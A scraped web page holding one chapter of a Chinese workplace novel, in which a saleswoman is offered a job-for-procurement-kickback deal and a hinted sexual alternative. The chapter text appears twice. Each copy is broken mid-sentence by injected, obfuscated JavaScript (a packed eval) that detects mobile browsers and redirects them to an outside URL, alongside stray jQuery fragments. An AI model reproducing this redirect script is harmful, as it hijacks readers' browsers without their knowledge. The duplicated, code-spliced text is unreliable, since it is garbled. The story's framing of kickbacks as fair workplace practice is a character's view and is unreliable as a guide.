女Sales的游戏陆有间
64. 第二个选择
小
大
那天她正在写邮件，孙宏斌给她打电话说有小道消息李西廷要走，问她有没有听说，她愣了，问孙宏斌哪来的消息，孙宏斌说新顺人事部门。
没过多久，Chole给她打电话，让她看邮件，她打开邮件，李西廷发给业务部的邮件，叙述了过去两年在新顺集团的工作和成绩，对新顺表示了衷心的祝福，由于个人原因提出辞呈，赵总回复了邮件，肯定了李西廷在新顺集团的贡献，表达了对他的祝福。
Chole问她李西廷要去哪，她说不知道，Chole半信半疑地挂了电话，毕竟所有人都知道梁菲是李西廷的嫡系，她是真不知道，李西廷没有透露过他的计划，她这才想起李西廷最近半年都没有来旧金山出差，soLA客户的工作大部分都交给了她。
她给李西廷打了电话，李西廷的声音听起来没什么变化，问她有事吗？她忽然有一种强烈的被抛弃在海外的孤独感，声音里带了一点委屈问道：“你从大源科技离职带我走，从新顺集团离职为什么不带我？”
李西廷轻笑，“委屈什么，多大人了，我和彭先泽出去做自己的事情，一切都刚开始，风险太高，不稳定，女孩在外企比在民企压力小一些，你不是一定要走这条路。”
梁菲说：“我只知道你是我师傅，是我最佩服的人，只要你能用我，我就跟你走。”
李西廷说：“这个阶段还不会组建销售团队，我给你一个建议，去甲方平台再历练几年，让彭先泽内推你去soLAcapexgsm团队做供应链管理，对接工业设备供应链，要是面试顺利，你国庆节回国的话，可以拜访下孙宏斌找他聊聊智能工厂的业务情况，大源科技会是你的资源和合伙伙伴。”
李西廷停顿了下又说：“你直接找周老板吧，孙宏斌负责国内业务，soLA业务情况他不了解。”
梁菲有点惊讶，拿不准李西廷的意思，“我直接去找周老板？”
李西廷笑说：“这是我的建议，具体你自己再考虑。”
这个电话之后，彭先泽内推她进了Capexgsm岗位面试，只不过过程没有这么顺利，她在美国Capexgsm岗位一面都没进，辗转面试上海运营中心的Capexgsm岗位。
虽然出了意外，但现在走的职业发展路线还是和周泊言早前的规划一致，从酒店出来碰到周泊言，梁菲也想起这事，本来就要找周泊言。
周泊言问她安排，她从九月份开始一直在准备soLA的面试，“我过了上海运营中心Capexgsm的二面，还没出结果。”
上海Capexgsm面试分三轮，第一轮是hr面试，常规问一下跳槽动机，目前在职背景，工作经历等，看是否符合双方要求和期待；第二轮是年轮面试，工作中打交道比较多的同事都会参与面试，问专业相关性问题，考察数据分析能力，过去工作经验和处理过的supplyissue会被深挖，中英文都有，对口语和外企语境要求很高。
这次准备充分，前面两轮算顺利，梁菲在加州常年和soLA团队一起工作，对他们供应链管理岗和工作方式很熟悉，白天和各个vendorreview每个项目的进度和质量等，晚上跨国开会，开完会写汇报，梁菲的语言语境，工作习惯，思维方式已经被soLA同化。
她还在等第三轮面试通知，soLAgsm面试通常是三轮，历经几个月时间。
周泊言望着她问道：“你知道供应链管理岗位上海运营中心和美国本部的区别？”
梁菲说：“我知道，上海运营中心的gsm没有预算，成本管理权，只有供应商交付，效率管理权，这条路径更偏向运营管理。”
简单点说上海的gsm不能选择供应商，也不能和供应商询价，议价，决定采购价，不能选择供应商和决定采购价格的gsm岗位偏向交付管理。
同一个职位，上海的gsm和美国总部的gsm空间和权限差很多，岗位在设置的时候已经决定了国内gsm的天花板比美国同职位天花板低。
周泊言想了想说：“你是想回国工作？家里有困难？”
梁菲摇摇头，有一点挫败，“美国那边Capexgsm岗位一面stressinterview没过。”
在硅谷soLApark面试的时候，其中有一轮是stressinterview，hiringmanager问了一个问题，然后不停地追问你为什么这么做，你有考虑这个考虑那个吗，你做了什么分析，一轮面试后，hiringmanager和她说我们需要很strong的人，能够defend自己的opinion。
梁菲出了会议室就知道失败了，打电话给彭先泽，彭先泽说你还不知道soLA的做事风格吗，你被他们关在会议室多少回了，不降价就不让你走，你得学会fight和aggressive，你看过澳剧wentworth吗？供应链需要的是监狱长弗格森这样的人，为达目的不择手段，要被供应商三言两语带着跑就是最大的问题。
这次面试失败梁菲回来后反思调整了很久，她觉得自己还是乙方心态，甲方要有甲方的态度，所有乙方都是为我服务，要坚定不移的执行甲方意志，我不是给你意见，是让你执行，她又去看了wentworth这部剧，被彭先泽的说法逗笑，弗格森简直是顶级puA大师，高智，冷血，玩弄人心于鼓掌，只要给你一点好处，就能要你两分回报。
周泊言说：“你应该给我打电话。”顿了顿又说：“现在也不算晚。”
梁菲闻言放下手里的烤串说：“你要帮我吗？”
周泊言笑了一下，“我可以帮你。”
梁菲打量了周泊言几秒，“你的条件是什么？”
这个问题让周泊言觉得梁菲的思维方式又发生了一些变化，成长了不少，懂职场规矩，他也以职场人的方式对待梁菲的问题，轻描淡写给出条件，“你进美国Capexgsm团队要给大源科技争取项目。”
美国Capexgsm团队主要负责工业设备和部件采购，包括智能工厂业务，在硬科技行业，Capex顾名思义资产性支出，用于购买先进的生产设备或扩建工厂，这个几十个人的团队，一年采购金额几百亿美金。
梁菲没想到周泊言这么爽快的给出如此具体的条件，她没有经历过这样的事，被这样的交易震惊了，像是打开了一个全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075520|172437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新的空间，这个空间名字是职场的丛林法则，别人帮你进soLA，你帮别人办事很公平，职场就是如此，不要说以权谋私。
要是作了这样的交易，势必要给大源科技争取到足够权重的利益，争取不到也得拿捏得住周泊言才行，她去了soLA能站住脚跟，拿到采购的话语权，把项目给到大源科技吗？要是给的利益不够，周泊言拿着把柄，到时候只能是周泊言让她做什么就做什么了，她就是周泊言在soLA的牵线木偶，她的风险太大了，这恐怕已经不是职业发展的风险，她不能只赌周泊言的人品。
现在的事情比当初拿到孙宏斌的两张购物卡份量大得多，要是能去美国Capexgsm团队自然比去上海运营中心的职业发展前景更好，她只要在soLA内部有采购决策权，她和周泊言就是权钱交易，利益同盟，她有能力hold住这样的交易吗？这样的交易真的是她要走的职场道路吗？她作不了决定，心里一团乱麻，一颗心悬浮在了半空中。
周泊言把她的表情看在眼里，微微笑了，“天下没有免费的早餐，午餐，晚餐，你想拿到更好的资源，职位，自然要付出更大的代价，承担更高的风险，你要是承受不起，还有一个选择。”
梁菲说：“什么选择？”
周泊言不说话，只是看着她，视线在脸上反复徘徊，不知道他在想什么，先是盯着嘴唇看，再缓缓往下移动到锁骨，最让她头皮发麻的是他的眼神非常冷静，视线轨迹却非常有侵略性和攻击性。
梁菲的脸慢慢发烫，心跳加快，周泊言的眼神又回到她的嘴唇，就好像在诱惑她，跨过那条无形的界限，这就是这个世界的运行法则，只要她想往上攀爬，抢夺资源，只有这两条路可以走。
梁菲的目光一颤，别开了视线，她不考虑第二个选择，周泊言的第二个选择，她会更被动，不能量化的交易随机性太高，全凭周泊言的好恶，更关键的是她没办法从这样的关系中获得安全感和成就感，她只有靠自己脚踏实地的获得硬技能和软实力，或者靠筹码获得的交易，才不会有那种踩在云朵上的虚浮感。
梁菲抿了抿唇说：“要是我进了美国Capex团队没办法争取到项目给大源科技呢？”
这句话说出口就太嫩了，周泊言还是耐心地说：“这是你要判断和解决的问题，你没有筹码怎么跟我谈条件？”
梁菲意识到不应该问出口怔了一下说：“让我考虑一下好吗？”
周泊言说：“你慢慢想。”
烧烤吃完已经下午两点，梁菲吃得很满足，上车后坐在副驾驶座上，眼神不能聚焦，昏昏欲睡，还强撑着保持礼仪，不能把周老板当司机，回去的方向往西南开，阳光从挡风玻璃方向照射进来。
周泊言看她迷瞪的模样，打开遮阳板说：“你睡会儿吧，到酒店我叫你。”
梁菲摇摇头又点点头，看着窗外掠过的重影桂花树，脑袋越来越沉，一天前她刚刚坐了十几个小时的飞机飞回来，时差没倒过来，早上四点半起床，又喝了大酒，已经一天一夜没合眼，大脑自动关机状态。
车子轻轻摇晃着，她闭上眼睛靠在椅背上睡过去了，临睡前还在想，只睡十分钟，眯一会儿就好。
没过多久，Chole给她打电话，让她看邮件，她打开邮件，李西廷发给业务部的邮件，叙述了过去两年在新顺集团的工作和成绩，对新顺表示了衷心的祝福，由于个人原因提出辞呈，赵总回复了邮件，肯定了李西廷在新顺集团的贡献，表达了对他的祝福。
Chole问她李西廷要去哪，她说不知道，Chole半信半疑地挂了电话，毕竟所有人都知道梁菲是李西廷的嫡系，她是真不知道，李西廷没有透露过他的计划，她这才想起李西廷最近半年都没有来旧金山出差，soLA客户的工作大部分都交给了她。
她给李西廷打了电话，李西廷的声音听起来没什么变化，问她有事吗？她忽然有一种强烈的被抛弃在海外的孤独感，声音里带了一点委屈问道：“你从大源科技离职带我走，从新顺集团离职为什么不带我？”
李西廷轻笑，“委屈什么，多大人了，我和彭先泽出去做自己的事情，一切都刚开始，风险太高，不稳定，女孩在外企比在民企压力小一些，你不是一定要走这条路。”
梁菲说：“我只知道你是我师傅，是我最佩服的人，只要你能用我，我就跟你走。”
李西廷说：“这个阶段还不会组建销售团队，我给你一个建议，去甲方平台再历练几年，让彭先泽内推你去soLAcapexgsm团队做供应链管理，对接工业设备供应链，要是面试顺利，你国庆节回国的话，可以拜访下孙宏斌找他聊聊智能工厂的业务情况，大源科技会是你的资源和合伙伙伴。”
李西廷停顿了下又说：“你直接找周老板吧，孙宏斌负责国内业务，soLA业务情况他不了解。”
梁菲有点惊讶，拿不准李西廷的意思，“我直接去找周老板？”
李西廷笑说：“这是我的建议，具体你自己再考虑。”
这个电话之后，彭先泽内推她进了Capexgsm岗位面试，只不过过程没有这么顺利，她在美国Capexgsm岗位一面都没进，辗转面试上海运营中心的Capexgsm岗位。
虽然出了意外，但现在走的职业发展路线还是和周泊言早前的规划一致，从酒店出来碰到周泊言，梁菲也想起这事，本来就要找周泊言。
周泊言问她安排，她从九月份开始一直在准备soLA的面试，“我过了上海运营中心Capexgsm的二面，还没出结果。”
上海Capexgsm面试分三轮，第一轮是hr面试，常规问一下跳槽动机，目前在职背景，工作经历等，看是否符合双方要求和期待；第二轮是年轮面试，工作中打交道比较多的同事都会参与面试，问专业相关性问题，考察数据分析能力，过去工作经验和处理过的supplyissue会被深挖，中英文都有，对口语和外企语境要求很高。
这次准备充分，前面两轮算顺利，梁菲在加州常年和soLA团队一起工作，对他们供应链管理岗和工作方式很熟悉，白天和各个vendorreview每个项目的进度和质量等，晚上跨国开会，开完会写汇报，梁菲的语言语境，工作习惯，思维方式已经被soLA同化。
她还在等第三轮面试通知，soLAgsm面试通常是三轮，历经几个月时间。
周泊言望着她问道：“你知道供应链管理岗位上海运营中心和美国本部的区别？”
梁菲说：“我知道，上海运营中心的gsm没有预算，成本管理权，只有供应商交付，效率管理权，这条路径更偏向运营管理。”
简单点说上海的gsm不能选择供应商，也不能和供应商询价，议价，决定采购价，不能选择供应商和决定采购价格的gsm岗位偏向交付管理。
同一个职位，上海的gsm和美国总部的gsm空间和权限差很多，岗位在设置的时候已经决定了国内gsm的天花板比美国同职位天花板低。
周泊言想了想说：“你是想回国工作？家里有困难？”
梁菲摇摇头，有一点挫败，“美国那边Capexgsm岗位一面stressinterview没过。”
在硅谷soLApark面试的时候，其中有一轮是stressinterview，hiringmanager问了一个问题，然后不停地追问你为什么这么做，你有考虑这个考虑那个吗，你做了什么分析，一轮面试后，hiringmanager和她说我们需要很strong的人，能够defend自己的opinion。
梁菲出了会议室就知道失败了，打电话给彭先泽，彭先泽说你还不知道soLA的做事风格吗，你被他们关在会议室多少回了，不降价就不让你走，你得学会fight和aggressive，你看过澳剧wentworth吗？供应链需要的是监狱长弗格森这样的人，为达目的不择手段，要被供应商三言两语带着跑就是最大的问题。
这次面试失败梁菲回来后反思调整了很久，她觉得自己还是乙方心态，甲方要有甲方的态度，所有乙方都是为我服务，要坚定不移的执行甲方意志，我不是给你意见，是让你执行，她又去看了wentworth这部剧，被彭先泽的说法逗笑，弗格森简直是顶级puA大师，高智，冷血，玩弄人心于鼓掌，只要给你一点好处，就能要你两分回报。
周泊言说：“你应该给我打电话。”顿了顿又说：“现在也不算晚。”
梁菲闻言放下手里的烤串说：“你要帮我吗？”
周泊言笑了一下，“我可以帮你。”
梁菲打量了周泊言几秒，“你的条件是什么？”
这个问题让周泊言觉得梁菲的思维方式又发生了一些变化，成长了不少，懂职场规矩，他也以职场人的方式对待梁菲的问题，轻描淡写给出条件，“你进美国Capexgsm团队要给大源科技争取项目。”
美国Capexgsm团队主要负责工业设备和部件采购，包括智能工厂业务，在硬科技行业，Capex顾名思义资产性支出，用于购买先进的生产设备或扩建工厂，这个几十个人的团队，一年采购金额几百亿美金。
梁菲没想到周泊言这么爽快的给出如此具体的条件，她没有经历过这样的事，被这样的交易震惊了，像是打开了一个全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075520|172437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新的空间，这个空间名字是职场的丛林法则，别人帮你进soLA，你帮别人办事很公平，职场就是如此，不要说以权谋私。
要是作了这样的交易，势必要给大源科技争取到足够权重的利益，争取不到也得拿捏得住周泊言才行，她去了soLA能站住脚跟，拿到采购的话语权，把项目给到大源科技吗？要是给的利益不够，周泊言拿着把柄，到时候只能是周泊言让她做什么就做什么了，她就是周泊言在soLA的牵线木偶，她的风险太大了，这恐怕已经不是职业发展的风险，她不能只赌周泊言的人品。
现在的事情比当初拿到孙宏斌的两张购物卡份量大得多，要是能去美国Capexgsm团队自然比去上海运营中心的职业发展前景更好，她只要在soLA内部有采购决策权，她和周泊言就是权钱交易，利益同盟，她有能力hold住这样的交易吗？这样的交易真的是她要走的职场道路吗？她作不了决定，心里一团乱麻，一颗心悬浮在了半空中。
周泊言把她的表情看在眼里，微微笑了，“天下没有免费的早餐，午餐，晚餐，你想拿到更好的资源，职位，自然要付出更大的代价，承担更高的风险，你要是承受不起，还有一个选择。”
梁菲说：“什么选择？”
周泊言不说话，只是看着她，视线在脸上反复徘徊，不知道他在想什么，先是盯着嘴唇看，再缓缓往下移动到锁骨，最让她头皮发麻的是他的眼神非常冷静，视线轨迹却非常有侵略性和攻击性。
梁菲的脸慢慢发烫，心跳加快，周泊言的眼神又回到她的嘴唇，就好像在诱惑她，跨过那条无形的界限，这就是这个世界的运行法则，只要她想往上攀爬，抢夺资源，只有这两条路可以走。
梁菲的目光一颤，别开了视线，她不考虑第二个选择，周泊言的第二个选择，她会更被动，不能量化的交易随机性太高，全凭周泊言的好恶，更关键的是她没办法从这样的关系中获得安全感和成就感，她只有靠自己脚踏实地的获得硬技能和软实力，或者靠筹码获得的交易，才不会有那种踩在云朵上的虚浮感。
梁菲抿了抿唇说：“要是我进了美国Capex团队没办法争取到项目给大源科技呢？”
这句话说出口就太嫩了，周泊言还是耐心地说：“这是你要判断和解决的问题，你没有筹码怎么跟我谈条件？”
梁菲意识到不应该问出口怔了一下说：“让我考虑一下好吗？”
周泊言说：“你慢慢想。”
烧烤吃完已经下午两点，梁菲吃得很满足，上车后坐在副驾驶座上，眼神不能聚焦，昏昏欲睡，还强撑着保持礼仪，不能把周老板当司机，回去的方向往西南开，阳光从挡风玻璃方向照射进来。
周泊言看她迷瞪的模样，打开遮阳板说：“你睡会儿吧，到酒店我叫你。”
梁菲摇摇头又点点头，看着窗外掠过的重影桂花树，脑袋越来越沉，一天前她刚刚坐了十几个小时的飞机飞回来，时差没倒过来，早上四点半起床，又喝了大酒，已经一天一夜没合眼，大脑自动关机状态。
车子轻轻摇晃着，她闭上眼睛靠在椅背上睡过去了，临睡前还在想，只睡十分钟，眯一会儿就好。